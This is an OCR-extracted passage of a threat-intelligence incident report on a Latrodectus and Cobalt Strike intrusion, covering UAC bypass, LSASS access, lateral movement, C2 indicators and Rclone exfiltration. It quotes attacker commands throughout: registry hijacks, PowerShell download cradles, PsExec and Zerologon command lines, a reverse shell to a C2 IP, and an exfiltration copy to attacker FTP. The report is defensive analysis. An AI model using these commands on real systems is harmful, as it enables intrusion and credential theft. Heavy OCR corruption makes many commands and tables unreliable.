user to full administrative control over the network

Starting the Secondary Logon service

The Windows authentication log shows successful privilege escalation from a low-privileged user to a domain

administrator account with elevated token permissions.
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Windows security log showing privilege escalation from a low-privileged user to a domain admin

UAC Bypass

The Cobalt Strike sys.dll implant executed on the beachhead host initiated a UAC bypass using the elevate uac-
token-duplication technique, a well-documented registry hijacking method first observed in 2017. This technique
exploits the UAC token duplication vulnerability, allowing the Cobalt Strike implant to execute arbitrary code with

privileges stolen from elevated processes, successfully achieving privilege escalation without user interaction.

Initial registry modifications hijacked the ms-settings protocol handler to redirect Windows Settings calls to

malicious PowerShell commands:

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /f /d "cmd.exe /c powershell -nop -w hid
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /f /d "cmd.exe /c pow

Privilege escalation occurred through execution of ComputerDefaults.exe, a trusted Windows binary that queries the

hijacked ms-settings protocol with elevated privileges.

With the elevated token duplicated from ComputerDefaults.exe, multiple PowerShell instances were executed to
establish communication with the Cobalt Strike listener, indicating token rights restrictions requiring different

execution approaches:
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"cmd.exe" /c powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.
powershell -nop -w hidden -c "IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]1:11664/"
"C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NolLogo -NoProfile

Defense Evasion

Process Injection

The most common evasion technique that the threat actor utilized was process injection. During its execution, the

Brute Ratel loader upfilles.dll launched the final stage of the Latrodectus malware inside the explorer’s memory.

CreateRemoteThread detected:

RuleName: technigue_id=T1055,technique_name=Proces
5 Injection

utcTime: [N

SourceProcessGuid: {12cde745-2c06-663e-8b08-00000
0000700}

SourceProcessid: 3464

Sourcelmage: C:\Windows\System32\rundli32.exe
TargetProcessGuid: {12cde745-59f1-663a-0701-000000

000700}

TargetProcessld: 1460

Targetimage: C:\Windows\explorer.exe
MewThreadid: 700

StartAddress: 0x000000000BCB0000
StartModule: -

StartFunction: -

Sourcelser:

TargetUser:

From the fourth day onward, the threat actor expanded their tooling and heavily utilized both Brute Ratel and Cobalt
Strike for process injection. Using the Sysmon eventID 8, CreateRemoteThread, multiple instances of process
injection were identified for both long-term and short-term sacrificial processes.
T ¢ eventaction [ © process parent executable ! process executable ! winlog.event_data. Targetimage
created-procesa > -\Windows\S; 2\spoolsv . exe C:\Windows\System32\gpupdate _exe =
12:87:46.835 PipeEvent (Pipe Created) 5, B2 -\Nindc em32\gpupdate . exe =
12:87:46.494 ProcessAccess “\Windc em32\gpupdate. exe C:\Windows\zysten3?\lsass exe

12:97:46.494 CreateRemoteThread :-\Windc stem32\gpupdate. exe C:\Windows\Systend2\lasss.exe

12:97-48.811 exited-process C:\Iindows\Systen32\gpupdate .exe -

After further investigating the process memory, YARA rules confirmed also the injection of Cobalt Strike beacons

into multiple legitimate processes, such as spoolsv.exe.
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Match Ind a
SIGNATURE_BASE_Cobaltstrike_Sleep_|

Tag
Description:
Author:

MR RNRNNNNRN
W oW W oWoW oW w

File Deletion

oder_Indicator

ep_mask decoder

oolsv

The threat actor also deleted files after using them, to cover their tracks and make the investigation more challenging.

Specifically, they deleted more than half of the files and tools that had been downloaded on the compromised hosts.

t event.action

FileDelete (File Delete archived)

FileDelete (File archived)

FileDelete (File Delete archived)

FileDelete (File archived)

FileDelete (File Delete archived)

FileDelete (File archived)

FileDelete (File Delete archived)

FileDelete (File archived)

FileDelete (File Delete archived)

FileDelete (File archived)
FileDelete (File Delete archived)

FileDelete (File archived)

Credential Access

Latrodectus Stealer Module

¢ process.executable

C:\Windows\System32\spoolsv.exe

System

\Windows\system32\ rund1132.e:

C . \Windows\system32\ rund1132.exe

:\Windows\system32\ rundll32.e

\Windows\system32\ rundll32.exe

:\Windows\System32\spoolsv.exe
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file.path

:\PerfLogs\AdFind.exe

*\Windows\PSEXESVC.exe

\PerfLogs\system.dl_

\Windows\PSEXESVC.exe

\PerflLogs\system.dl_

»\Windows\PSEXESVC.exe

:\PerflLogs\system.dl_

:\ProgramData\7z.exe

\ProgramData\AdFind.exe

:\ProgramData\run.bat

\ProgramData\run.bat

\Windows\System32\rustscan.exe
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Using command ID 21, the Latrodectus-injected explorer.exe process downloaded the stealer module file
fxrm_vn_9.557302425.bin from the C2 server.

Analysis revealed that the stealer lacks functionality to decrypt cookies from current Chrome versions, suggesting the
threat actor may not have updated their stealer module to accommodate recent browser security enhancements. The
stealer had the hardcoded time of when the stealer module was built — 00:39:18 Mar 29 2024.

Similar to the Latrodectus loader component, the stealer module dynamically resolved Windows APIs by iterating
through the Process Environment Block (PEB) InLoadOrderModuleList, computing CRC32 hashes for each loaded

module name, and comparing results against target hash values.

The stealer was capable of harvesting credentials from 29+ Chromium-based browsers, including Google Chrome,
Microsoft Edge, Yandex Browser, Vivaldi, Comodo Dragon, Orbitum, Epic Privacy Browser, and other variants.

Firefox receives separate handling through profile enumeration targeting cookies.sqlite database files.

During its execution, it extracted email credentials from Microsoft Outlook configurations across Office versions
11.0-17.0 by querying Windows registry keys. The stealer is also capable of harvesting server configurations
including SMTP, POP3, IMAP, and NNTP server addresses, port numbers, usernames, and encrypted passwords.
Additionally, it targeted the registry path HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
Messaging Subsystem\Profiles to extract legacy email configurations from older Windows Mail, Outlook Express,
and MAPI profiles that may contain additional cached credentials. Internet Explorer credentials were obtained

through COM interface manipulation, accessing the IntelliForms Storage2 system.
The collected data is organized into distinct sections with the below headers:

o cr_pass for Chrome passwords

o ff pass for Firefox data

o ie_pass for Internet Explorer credentials
o edge_pass for Edge data

o outlook_pass for email configurations

o _cookie variants for session data.

Each section contains structured entries with pipe-delimited fields. The complete dataset undergoes base64-encoding.
The stealer then creates a shared memory region named 12345 and stores a pointer to the encoded data, which could

allow other processes to access the collected information.
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mw_add_section_header(v28, "ff_pass", v29);
mw_extract_firefox_data(v2s, 1);
mw_extract_firefox_data(v2s, @);
mw_finalize_section(v28);
mw_process_data sectlon((uhlr]ﬂf int ) /,)J
mw_append_data_to_buf(&lp :Che v76, *(_QWORD *)(v28 + 16});
mw_append_data_to_buf (&1p fn, L"\rn");
mw_cleanup_i data _struct((LPVOID)v
/30 = mw_create_data struct(),
x( DWORD *)(v3e + 32) =
sub_180006E54( (unsigned int ¥)v3e);
mw_add_section_header(v30, "ie_pass", v3il);
mw_extract_ie_credentials((void *)v3e);
sub_1800089EA(v30);
mw_finalize_section(v3i@);
mw_process_data_section((unsig
mw_append_data_to_buf(&lpli
mw_append_data_to_buf (&1plideCh:
mw_cleanup_data_struct((LPVOID)v3@);
v32 = mw_create_data_struct();
*(_DWORD *}(v32 + 32) =
sub_180006E54( (unsigned int *)v32);
mw_add_section_header(\fz, edge pass" 1);
mw_extract_browser_data(v2 34, (con L CHAR **)&quord_18@0C61C8, (LPCSTR *)&qword_1800C6898);
mw_finalize_section(v32);
mw_process_data sectlon((u1~1'wA' in
mw_append_data_to_buf(&1p
mw_append_data_to_buf(&1p
mw_cleanup_data_struct((LPVOID)v
v35 = mw_create_data_struct();
*(_DWORD *)(v35 + 32) =
sub_180006E54( (unsigned int *)v35);

*(_QWORD *)(v30 + 16));
L"\r\n");

, ;( QWORD *)(v32 + 16));
L"\r\n");

mw_add_section_header(v35, "outlook_pass"™, v36);
V64 = v35;
200 vBe5S = ‘]_,-
300 | sub_18000453C(&v64, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles");
301 for (1 =11; i < Bx11; ++1 )
302 | {
® 303 wsprintfA(v74, “"Software‘\\Microsoft\\Office\\%u.0\\Outlook\\Profiles"”, i);

Snippet of data collection code showing Firefox, IE, Edge, and Outlook extraction functions.
Answer File Access

Backconnect was used by the threat actor early in the campaign (day three) to list directories on the beachhead. After
listing files in directories, the threat actor focused their attention on the file unattend.xml, an answer file. Answer files

are used to control the configuration of Windows while setting it up from an image.

One of the components of answer files is called Microsoft-Windows-UnattendedJoin which allows admins to easily
domain join devices during setup, this is done by supplying plain text credentials (username and password) in the
unattend.xml file. The threat actor collected the file via Backconnect (using the GET C:\Unattend.xml command) and

was able to access the plain-text domain admin credentials stored in the file.

<BEACHHEAD 1P>

LSASS Access

The threat actor utilized their elevated user permissions to access the LSASS process on multiple devices in the

environment.
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process.executable

C:\Windows\systen3?\gpupdate. exe

C:\Windows\systend2\gpupdate..exe

C:\Windows\systen32\runonce..exe

C:\Windows\systen32\runonce .exe

C:\Windows\systen32\gpupdate.exe

C:\Windows\systend2\gpupdate..exe

process.pid + winlog.event_data. Targetimage

8,352 C:\Windows\systen32\lsass.exe

5,628 C:\Windows\systea32\lsass.exe

5,228 C:\Windows\systea32\lsass.exe

6,548 C:\Windows\systen3?\lsass.exe

7,892 C:\Windows\systea32\lsass.exe

11,864 C:\Windows\systen32\lsass.exe

winlog.event_data. TargetProcessid

Y ry—

exie1e

OxIFFFFT

exie1e

OxIFFFFT

exie1o

exIFFFFT

All instances of LSASS access followed the same pattern, the access was initiated by an injected process (either
runonce.exe or gpupdate.exe) with a process requesting 0x1010 permissions and another instance of the same process
requesting 0x1fffff seconds later. This cycle repeated three times in total during the intrusion, each time facilitated via

a Cobalt Strike beacon process.
Veeam-Get-Creds

On day 26 of the intrusion, the threat actor ran the Veeam-Get-Creds.ps1 script from the injected spoolsv.exe process:
powershell -nop -exec bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3ACOATWBiAGoAZQBjAHQAIABOAGUAdAAUAFCAZQ
which decoded to:
IEX (New-Object Net.Webclient).DownloadString( 'hxxp://127.0.0[.]11:24003/"'); Veeam-Get-Creds.ps1

This technique has been previously observed by ransomware groups such as Noberus and Vice Society. It typically
indicates the threat actor is targeting backup systems for destruction or virtualization infrastructure for encryption

(commonly protected by Veeam backup solutions). The Veeam-Get-Creds.ps1 script is publicly available on GitHub.

Upon executing the script, the threat actor would have obtained any plaintext usernames and passwords stored in the
Veeam Credential Manager. These credentials are typically used to authenticate to remote systems for backup

operations. Although in this intrusion, this execution was one of the final actions taken by the threat actor.

Discovery

Approximately one hour after Latrodectus was injected into explorer.exe, it began executing the following discovery

commands on the beachhead host.

ipconfig /all

systeminfo

nltest /domain_trusts

nltest /domain_trusts /all_trusts

net view /all /domain

net view /all

net group "Domain Admins" /domain

net config workstation

wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | find
whoami /groups

Process activity related to discovery then went quiet until on day four, the injected Cobalt Strike beacon used

systeminfo to query for system information. The threat actor then executed DISK command via BackConnect to
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query disk information.

C:\|63853031424|25070465024 |3 |System

DISK command execution via BackConnect session

The Cobalt Strike injected processes then executed reconnaissance commands and leveraged AdFind for Active

Directory enumeration activities:

systeminfo

nltest /dclist:domain.local

net view REDACTED

net user REDACTED /domain

dir \\REDACTED\C$

net group "domain admins" /domain

dsquery subnet

nltest /domain_trusts

nltest /dsgetdc:domain.local

wmic /node:REDACTED logicaldisk list brief

AdFind Active Directory Enumeration:

adfind.exe -f "(objectcategory=person)" >> ad_users.txt

adfind.exe -f "objectcategory=computer" >> ad_computers.txt%W

adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt

adfind.exe -subnets -f (objectCategory=subnet)> ad_subnets.txt

adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt

adfind.exe -f "&(objectCategory=computer)(operatingSystem=*server*)" -csv > ad_servers.csv

Continued Discovery and Network Testing:

net view REDACTED
ping -n 1 REDACTED
type "\\REDACTED\C$\REDACTED\REDACTED.bat"

The threat actor then tried to move AdFind outputs, but appeared to struggle based on the commands observed:

C:\PerflLogs\*.* %ALLUSERSPROFILE%\
move %ALLUSERSPROFILE%\ad_users.txt C:\REDACTED\
move C:\REDACTED\ad_users.txt %PUBLIC%\

While this was happening, they continued to issue more discovery commands and attempted to organize their AdFind

output:
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net view REDACTED

wmic /node:REDACTED logicaldisk list brief %WINDIR%\system32\cmd.exe /C ping -n 1 REDACTED
move %USERPROFILE%\ad_users.txt %USERPROFILE%\Pictures\

attrib %USERPROFILE%\Pictures\ad_users.txt

The actor then expanded their reconnaissance to include DNS information while simultaneously troubleshooting file

access issues on their collected data:

dnscmd /zoneprint domain.local

netdom query SERVER >> serv.log

attrib -a -s -h -r /s %USERPROFILE%\Pictures\ad users.txt
attrib %USERPROFILE%\Pictures\ad_users.txt

attrib %USERPROFILE%\Pictures\*.*

attrib -a +s +h -r /s %USERPROFILE%\Pictures\ad users.txt

process.parent.executable count command_lines

:\Window stem32\spoolsv.exe 18 C:\Windows\system32\cmd.exe /C view <REDACTED=
C:\Windows\syste .exe /C view <REDACTED=>
C:\Windows\system32\cmd.exe /C view <REDACTED> |/
C:\Window stem32\cmd.exe 4 net view <REDACTED>
net view <REDACTED>
net view <REDACTED=...

:\Windows\System32\gpupdate.exe 2 C:\Windows\system32\ .exe /C view <REDACTED=

C:\Windows\System wbem\unsecapp .exe B C \system32\ .exe /[ view <REDACTED>
<REDACTED>
W <REDACTED>...

ET C:\Users\Public\ad users.txt

-fail open: access denied

GET C:\ProgramData\ad_computers.txt

-fail open: access denied

ET C:\Tools\ad users.txt

-fail open: access denied
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Based on the BackConnect traffic capture, we observed that the threat actors did not have the proper access to the

files.

Minutes later, the compromised explorer.exe process spawned DIIHost.exe, indicating resumption of the
BackConnect VNC activity observed previously. The DIIHost.exe process subsequently executed a Windows shell

command to open the “This PC” interface on the beachhead host:

cmd.exe /c start "" C:\Windows\explorer.exe shell:mycomputerfolder

The session was then leveraged to attempt to view the AdFind results:

"C:\Windows\system32\NOTEPAD.EXE" "C:\Users\<username>\Pictures\ad_users.txt"

The threat actor continued to encounter file permission issues, preventing them from accessing their own data. They
attempted to resolve this by first setting the local user as the file owner, then switching to the domain account as
owner, and when both ownership changes failed to provide adequate access, they finally used the /reset command to

restore default permissions:

icacls C:\Users\<username>\Pictures\ad_users.txt /setowner "<local user>" /T /C
icacls C:\Users\<username>\Pictures\ad_users.txt /setowner "<domain>\<local user>" /T /C
icacls "C:\Users\<username>\Pictures\ad_users.txt" /reset /T

After running the Cobalt Strike beacons laterally on several hosts, the threat actor conducted remote user

enumeration across domain systems using the following command from the beachhead host:

quser <REDACTED HOSTNAME>

The threat actor utilized the PowerView module Invoke-ShareFinder twice during the intrusion.

IEX (New-Object Net.Webclient).DownloadString('hxxp://127.0.0[.]11:49157/"); Invoke-ShareFinder -CheckSh

Approximately 45 minutes following the Metasploit shell deployment attempt on the second domain controller, the

threat actor initiated an additional round of AdFind reconnaissance from the beachhead host:

AdFind.exe -b dc=domain,dc=1local -f (objectcategory=person) > adflogs\domain.local_ad_users.txt
AdFind.exe -b dc=domain,dc=1local -f (objectcategory=computer) > adflogs\domain.local_ad_computers.txt
AdFind.exe -b dc=domain,dc=1local -f (objectcategory=organizationalUnit) >
adflogs\domain.local_ad_ous.txt

AdFind.exe dc=domain,dc=1ocal -subnets -f (objectcategory=subnet) > adflogs\domain.local_ad_subnets.txt
AdFind.exe -b dc=domain,dc=local -f (objectcategory=group) > adflogs\domain.local_ad_group.txt

Although the threat actor attempted to compress the collected data, forensic analysis did not identify any created zip

archives on the system.

"7z.exe" a -mx1 -r@ adflogs.zip adflogs
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The threat actor returned 28 days after the initial access to run a final round of network scanning discovery. Operating
from a backup server, the threat actor deployed the rustscan tool through the Cobalt Strike-injected spoolsv.exe
process, first running rustscan with the help flag. The threat actor then began scanning various /16 and /8 network
blocks for SMB services.

rustscan.exe -a REDACTED/16 -p 445 --no-nmap
rustscan.exe -a REDACTED/16 -p 445
rustscan.exe -a REDACTED/8 -p 445

"nmap -vvv -p 445 REDACTED"

Lateral Movement

WMI Remoting

Although the threat actor ran discovery commands just under an hour from the initial access, the first lateral
movement attempt came three days into the intrusion when the threat actor attempted to execute the system.dl_
Cobalt Strike beacon on a domain controller via WMIC remote execution. This execution was not successful as it

was not observed on the domain controller.

¢ process.executable ¢ process.command_line ¢ process.parent.command_line

C:\Windows\Systen32\cnd . exe C:\Windows\systen32\cmd.exe /C wmic /node:"<DC1 HOSTNAME>" process call create *rundl132 c:\PerfLogs\system.dl_, IvQkzdrFdILT" C:\Windows\System32\spoolsv.exe

Remote Services

After the failed lateral movement attempt via WMIC, the threat actor pivoted to PsExec. The initial PsExec command

also failed since the threat actor forgot to include the accepteula flag.

¢ process.executable ¢ process.command_line ¢ process.parent.command_line

C:\Windows\System32\cnd. exe C:\Windows\system32\cmd.exe /C PSExec64.exe -n 5 \\<DC1 HOSTNAME> -s cmd.exe /c rund1132 c:\PerfLogs\system.dl_,1lvQkzdrFdILT C:\Windows\System32\spoolsv.exe
C:\Windows\System32\cnd. exe C:\Windows\system32\cmd.exe /C PSExec64.exe -accepteula C:\Windows\System32\spoolsv.exe

C:\Windows\Systen32\cnd. exe C:\Windows\system32\cmd.exe /C PSExec6d.exe -n 5 \\<DC1 HOSTNAME> -s cmd.exe /c rund1132 c:\PerfLogs\system.dl_, lvQkzdrFdILT C:\Windows\Systen32\spoolsv.exe

After fixing the forgotten EULA mistake, they were able to successfully execute system.dl_ on the domain controller
via rundll32.

t process.executable ¢ process.command_line ¢ process.parent.command_line

C:\Windows\System32\cmd.exe “cmd.exe” /¢ rundll32 c:\PerfLogs\system.dl_,lvokzdrrdILT C:\Windows\PSEXESVC.exe

The threat actor then proceeded to execute the same command on a file share server and backup server minutes after

the domain controller execution.

¢ process.executable ¢ process.command_line ¢ process.parent.command_line

C:\Windows\Systen32\cmd..exe C:\Windows\systen32\cnd .exe /C PSExec6d.exe -n 5 \\<DC1 HOSTNAME> -5 cnd.exe /c rundl132 c:\PerfLogs\system.dl_, IvakzdrFdILT C:\Windows\Systen32\spoolsv..exe

C:\Windows\Systen32\cmd..exe C:\Windows\systen32\cnd .exe /C PSExec6d.exe -n 5 \\<FILE SHARE HOSTNAME> -s cmd.exe /c rund1132 c:\PerfLogs\systen.dl_, 1vokzdrFdILT C:\Windows\Systen32\spoolsv.exe

C:\Windows\Systen32\cmd..exe C:\Windows\systen32\cud .exe /C PSExec6d.exe -n 5 \\<BACKUP SERVER HOSTNAME> -s cnd.exe /c rundl132 c:\PerfLogs\system.dl_, IvakzdrFdILT C:\Windows\Systen32\spoolsv..exe
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winlog.computer_name event.code winlog.event_data.AccountN winlog.event_data.ServiceName winlog.event_data.ImagePath
ame

DC1 Hostname 7045

File Share Hostname

Backup Server Hostname

Six hours after this initial lateral movement activity, the threat actor deployed and executed the zero.exe payload
from C:\ProgramData on the beachhead. This payload, delivered via BackConnect session, was a custom

implementation of the Zerologon vulnerability (CVE-2020-1472) exploit with capabilities for credential harvesting

and remote code execution.

Source

i . Gl il
193.168.143.196 Il acld 50 ol Hcocnans J.Iob.H.y4..aN..4.z.U,." .9r....,.-..{....x.
cePae.~.3W2"'p.r...Z.T...N.."q...8..8....W.0Wk....€....F.Y... ) b e ooc

193.168.143.196
193.168.143.196

PUT C:\ProgramData\zero.exe

.143.196
.143.196

193.168.143.196
193.168.143.196
193.168.143.196 cannot be run in DOS mode.
193.168.143.1%6
193.168.143.196
193.168.143.196
193.168.143.196
193.168.143.196
193.168.143.196
193.168.143.196
193.168.143.196

zero.exe delivered via BackConnect

During the intrusion the threat actor used zero.exe to move laterally between devices in the network. The executable
was executed on the beachhead host and targeted a second domain controller, overall it was executed eight different
times with a different username being used every execution. The execution used remote services to run code on

lateral hosts.

t process.command_line ¢ process.parent.command_line

C:\Windows\system32\cnd.exe /C C:\ProgramData\zero.exe <DCZ IP ADDRESS> <DC2 HOSTNAME> <REDACTED DOMAIN>.local <REDACTED USERNAME> -c “whoami/upn® rundl132 C:\ProgramData\sys.dll, StartUpd71

Page 28 of 48


https://thedfirreport.com/wp-content/uploads/2025/09/28761_046.png
https://thedfirreport.com/wp-content/uploads/2025/09/28761_046.png
https://thedfirreport.com/wp-content/uploads/2025/09/28761_047.png
https://thedfirreport.com/wp-content/uploads/2025/09/28761_047.png
https://thedfirreport.com/wp-content/uploads/2025/09/28761_048.png
https://thedfirreport.com/wp-content/uploads/2025/09/28761_048.png

https://thedfirreport.com/2025/09 /29 /from-a-single-click-how-lunar-spider-enabled-a-near-two-month-intrusion/

event.code

winlog.event_data.AccountN

winlog.event_data.ServiceName

IPEFFLMMBJID

ENFGHIFOE

DHCLEBPC

DJCIFA

CDEEKGNFIKEC

HIGKEBLLEAAJNHNNCHAC

winlog.event_data.lmagePath

ami/upn”

ami/upn”

ami/upn”

omputerM

After the completion of the zero.exe executions, the threat actor attempted to establish a Metasploit reverse shell

connection via a remote service on the same domain controller, to the C2 server at 217.196.98(.]61:4444.

event.code

ne
B

winlog.event_data.AccountN

b

winlog.event_data ServiceName ¢ winlog.event_data.ImagePath

.LoadLibraryA("ws2_

.WSAStartup(0x19¢ ' ) > Bx
.WSASocketA("AF_IN

SOCK_STREAM",
8.61:4444", 0x10)°
Ox4, 0x0)' -> Ox4
8, 8x10

Running Metasploit shellcode in speakeasy
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RDP

RDP was another Windows native tool used by the threat actor for lateral movment. The threat actor had extracted
domain admin credentials as discussed in the Credential Access section, these credentials were used by the threat
actor to login to two servers in the environment from the beachhead device via RDP, giving them interactive admin

access to both devices.

¢ message t winlog.user_data.Address ¢ winlog.user_data.User

Begin session arbitration: - <REDACTED DOMATN ADMIN>

User: <REDACTED DOMAIN ADMIN>...

End session arbitration: <REDACTED DOMAIN ADMIN>

User: <REDACTED DOMATN ADMIN...

Remote Desktop Services: Session logon succeeded: <BEACHHEAD IP> <REDACTED DOMAIN ADMIN>

User: <REDACTED DOMAIN ADMIN-...
Remote Desktop Services: Shell start notification received: <BEACHHEAD IP> <REDACTED DOMAIN ADMIN>

User: <REDACTED DOMAIN ADMIN>...

Remote Desktop Services: Session has been disconnected: <BEACHHEAD IP> <REDACTED DOMAIN ADMIN>

User: <REDACTED DOMATN ADMIN...

While the logins originated from the beachhead host the threat actor leaked their source hostname during the

authentication process.

VPS2DAY-32220LE
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Lageon Information:
ST T

ed Token:

Impersonation Level:

M only): NTLM V2

The threat actor’s hostname implies that the infrastructure used by them was provided via a German hosting company

VPS2DAY, which seems to be operating under the name Servinga since the vps2day domain redirects to Servinga.

Command and Control
Latrodectus/Backconnect

The malware used to gain the initial foothold in the host was a Latrodectus Javascript file. The aforementioned file

has been associated with high confidence to the Russian threat actor LUNAR SPIDER by Eclecticiq.

It is important to note that although the sample contained only two domains, the injected explorer.exe communicated
with three additional C2 servers. After further investigating the explorer’s memory, the following HTTPS request was

identified towards one of the new domains:
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us NT 5.1; Tob

SP11USMNNCR hncoE257 /e5TdYSNDbtKHC723/+jPSTQEDUbNBEKGU1c009T1Z3KWIu3I8ECgiVVPk194nb7Q7CHROpNEXNUBIXRFNNS

Upon decrypting the encrypted traffic sent by Latrodectus to the C2, the following information was identified:

Recipe ~ BB 8 Input + 0O =

IIVIXItemrXwjODgqLeuEBTB4IVACSCcQY46Zquwd/xuSqvleGyh1Y7TBo38BIIAyhgVeBy
eDESP11USMNncRZy@asShncoE25fz/e5TdYSNDbtKHCT 21/ +3P5TQ60ubNSEKGU1cO09T
17Z3WJu3I8EcgiVvVPk194nfb7Q7CHROpNEXNUB1XRFNNS|

From Base64

A-Za-z8-9+/=

Remove non-alphabet chars

[ strict mode

RC4 2
mc 182 = 2 Tr Raw Bytes &= CRLF (detected)
Passphrase
xkxp7pKhnkQxUokR2d1a..  UTFE~ Output BOM::
Input format Output format counter=442&type=18guid=7E8266D42E6D565EC6BEBGIE26EERDs=6&arch=18use
Latini Latin1 rname=|B&croup=22217665218ver=1.3&up=4&direction=grasmetral.com

C2 Domain  hxxps[://]grasmertal[.]Jcom/live/

Campaign

Pl 2221766521
1D
Latrodectus

. 1.3
Version

RC4 Key xkxp7pKhnkQxUokR2d100gsRa6Hx0xvQ31jTD7EwUqj4RX WtHWELbZFbOoqCnXI18

One extra functionality observed from the Latrodectus malware was Command and Control communication using the
Backconnect protocol. More specifically, connections from explorer.exe and dllhost.exe were performed toward two
different IP addresses. Additionally, these IP’s have been categorized with moderate confidence related to IcedId

Backconnect, which commonly shares infrastructure with Latrodectus.
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event.action process.executable

Network connection 2! :\Windows\system32\D11Host . e

Network connection :\Windows\system32\D11Host.exe

Network connection :\Windows\system32\D11Host . e 185.

Network connection :\Windows\system32\D11Host .exe 185.93.221.12
Network connection 9,7 :\Windows\system32\D11Host. e 193.168.143.196
Network connection 9,26 :\Windows\system32\D11Host.exe 193.168.143.196
Network connection ¥ :\Windows\system32\D11Host. e 193.168.143.196
Network connection :\Windows\system32\D11Host.exe 193.168.143.196

Network connection :\Windows\system32\D11Host . e 193.168.143.19%6

Connections to the first IP started during the first day and then swapped to the second IP on the fifth day.

@timestamp per 12 hours

As it was previously mentioned, utilizing Backconnect, various tasks were performed, such as browsing the file

system, reading files, and uploading malware on the infected hosts.

Destination (193.168.143.196:443)

Backconnect traffic showing file upload

Description = Domain IP Address Port ORG Country
104.21.16.155

Latrodectus

- workspacin[.]Jcloud = or 443 CLOUDFLARENET US
172.67.213.171

Latrodectus Akamai Connected

illoskanawer[.]Jcom = 173.255.204.62 443 UsS
C2 Cloud
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Latrodectus

104.21.52.10 or

grasmetral[.]Jcom

C2

Latrodectus

172.67.193.233

172.67.172.177

jarkaairbo[.Jcom

C2

Latrodectus

or 104.21.30.90

172.67.174.176

scupolastal.]store

C2

Latrodectus
MSI Second -
Stage

Backconnect -

Backconnect  —

Brute Ratel

The MSI file downloaded by the malicious Javascript contained a Brute Ratel DLL (upfilles.dll) that started C2

communication to a series of remote hosts. Of note is the use of the Tyk.io service which we have covered in prior

reports.

Domain

anikvan[.Jcom

altynbe[.]Jcom

boriz400[.]com

ridiculous-breakpoint-
gwl[.]laws-
usel[.]cloud-
ara[.]Jtyk[.]Jio

uncertain-kitten-
gwl[.]Jaws-
eucl[.]cloud-

ara[.]tyk[.]io

On the fifth day, the threat actor deployed a second Brute Ratel badger, named wscadminui.dll, which communicated

with the following domains:

Domain
erbolsan[.]com

erbolsan[.]com

or 104.21.88.89

91.194.11.64

193.168.143.196

185.93.221.12

IP Address

95.164.68.73

138.124.183.215

91.194.11.183

54.165.22.33 or 35.153.92.249
or 34.233.204.207 or
54.159.36.188 or 35.172.8.165
or 54.175.181.104

3.72.42.242 or 3.69.236.35 or
35.157.36.116 or 3.66.241.8 or
3.124.114.34 or 3.69.194.165

IP Address Port
94.232.249.100 443
94.131.108.254 443
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443 CLOUDFLARENET
443 CLOUDFLARENET
443 CLOUDFLARENET
TANGRAM-
443
CANADA-INC
443 Zergrush Srl
443 SHOCK-1

Port ORG
Pq Hostin
443 d &
Plus S.r.l.
Pqg Hostin
443 d g
Plus S.r.l.
TANGRAM-
443
CANADA-INC
AMAZON-
443
AES
443 AMAZON-02

us

Us

us

CA

RO

RO

Country

DE

us

CA

us

DE

ORG Country
Psb Hosting Ltd NL
Pq Hosting Plus S.r.l. TR


http://tyk.io/
https://thedfirreport.com/2025/03/31/fake-zoom-ends-in-blacksuit-ransomware/#command-and-control
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samderat200[.]com 94.232.249.108 443 Psb Hosting Ltd NL
samderat200[.]Jcom 45.150.65.85 443 Pq Hosting Plus S.r.l. us
dauled[.]Jcom 195.123.225.161 443 Green Floid LLC BG
kasymdev[.]Jcom 195.211.98.249 443 Green Floid LL.C us
kasym500[.]Jcom 195.123.225.251 443 Green Floid LLC BG

Lsassa

Lsassa.exe was a .NET malware that was deployed on the fourth day. It attempted to communicate with its C2 server
every 250 seconds. Additionally, each POST request contained the hostname of the infected workstation and the

username of the compromised user, which were sent to the server.

Domain IP Address Port  Protocol ORG Country

cloudmeri[.]Jcom 162.0.209.121 443 HTTPS NAMECHEAP-NET us

Metasploit

The psexec Metasploit module was utilized by the threat actor in order to perform lateral movement. During the

analysis of the Metasploit shellcode, it was identified that it utilized the TP 217.196.98.61 to perform C2

communication.
TP Address Port Protocol ORG Country
217.196.98.61 4444 TCP Aeza International LTD DE

Although the Metasploit shellcode was executed, it was unable to establish a successful Command and Control

connection, and the server rejected the connection.

Cobalt Strike

The final Command and Control tool used was Cobalt Strike. In the C2 communication, both HTTPS and HTTP

traffic were detected:

Beacon Domain IP Address Port Protocol ORG Country
Datacamp
sys.dll avtechupdate[.]Jcom  206.206.123.209 443 HTTPS o UsS
Limited
80
BlueVPS
cron801.dl_,system.dl_ - 45.129.199.214 or HTTP ou
8080
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80
or

8080

31.13.248.153 HTTP
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Command and Control
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To summarize the Command and Control activity and showcase its intensity over time, the following graphs were
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Exfiltration
Rclone

From a Cobalt Strike beacon on a file share server, the threat actor dropped a data exfiltration toolkit in the
ProgramData directory. This included a VBScript launcher (start.vbs), batch automation script (run.bat), renamed
Rclone (sihosts.exe), and Rclone configuration file (rclone.conf). This toolkit automated the theft of sensitive data by

syncing it to threat actor-controlled cloud storage using the legitimate Rclone utility.

WshShell = CreateObject( ™k
WshShell.Run chr(34) & "C:

WshShell = N

Content of start.vbs

Content of run.bat:

C:\programdata\sihosts.exe copy "E:" ftp:REDACTED\<File Share Server>\E -q --exclude "*.{ai,bin,blf,bmp

The threat actor dropped the Rclone configuration file (rclone.conf) twice on the file share server in quick succession.
The first rclone.conf file creation occurred three minutes before the second one, with two executions occurring
between them, hinting that there may have been a mistake in the first config file dropped by the threat actor. The first
execution had a syntax error with specifying the drive to exfiltrate files from (threat actor added an extra colon to the
drive), and the second execution showed that the threat actor had initially dropped the config file with an incorrect

username added to it.

Time Source Destination Protocol Lengtl Request arg Info
11 -89.861935 45.135.232.3 <FILE SERVER IP= FTP 131 Response: 22@8-FileZilla Server 1.6.4
12 -89.861121 <FILE SERVER IP> 45.135.232.3 FTP 83 JeeBidenAbrabdylas3ha2 Request: USER J@eBidenAbrabdylaS3ha2
